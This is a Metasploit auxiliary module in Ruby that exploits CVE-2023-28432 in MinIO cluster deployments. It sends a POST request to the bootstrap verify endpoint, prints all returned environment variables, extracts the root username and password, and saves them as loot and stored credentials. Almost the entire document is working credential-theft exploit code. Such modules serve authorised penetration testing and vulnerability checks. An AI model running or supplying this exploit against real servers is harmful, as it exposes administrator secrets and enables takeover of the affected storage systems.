MinIO Bootstrap Verify Information Disclosure

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'MinIO Bootstrap Verify Information Disclosure',  
'Description' => %q{  
MinIO is a Multi-Cloud Object Storage framework. In a cluster deployment starting with  
RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns  
all environment variables, including `MINIO_SECRET_KEY` and `MINIO_ROOT_PASSWORD`,  
resulting in information disclosure.  
  
Verified against MinIO 2023-02-27T18:10:45Z  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'joel @ ndepthsecurity', # msf module  
'RicterZ' # original PoC, analysis  
],  
'References' => [  
[ 'URL', 'https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q'],  
[ 'CVE', '2023-28432']  
],  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => '2023-03-20',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(9000),  
OptString.new('TARGETURI', [ true, 'The URI of the MinIO Application', '/'])  
]  
)  
end  
  
def report_cred(opts)  
service_data = {  
address: rhost,  
port: rport,  
service_name: 'MinIO',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts['user'],  
private_data: opts['password'],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def run  
vprint_status('Sending Request')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'minio/bootstrap/v1/verify'),  
'method' => 'POST'  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Response (response code: #{res.code})") unless res.code == 200  
  
json = res.get_json_document  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected JSON Object") unless json.key? 'MinioEnv'  
  
creds = {}  
  
json['MinioEnv'].each do |key, value|  
print_good("#{key}: #{value}")  
creds['user'] = value if key == 'MINIO_ROOT_USER'  
creds['password'] = value if key == 'MINIO_ROOT_PASSWORD'  
end  
  
path = store_loot('minio.env.json', 'application/json', rhost, json, 'minio.env.json', 'MinIO Environmental Variables Json')  
report_cred(creds) if creds.key?('user') && creds.key?('password')  
print_good("MinIO Environmental Variables Json Saved to: #{path}")  
end  
end  
`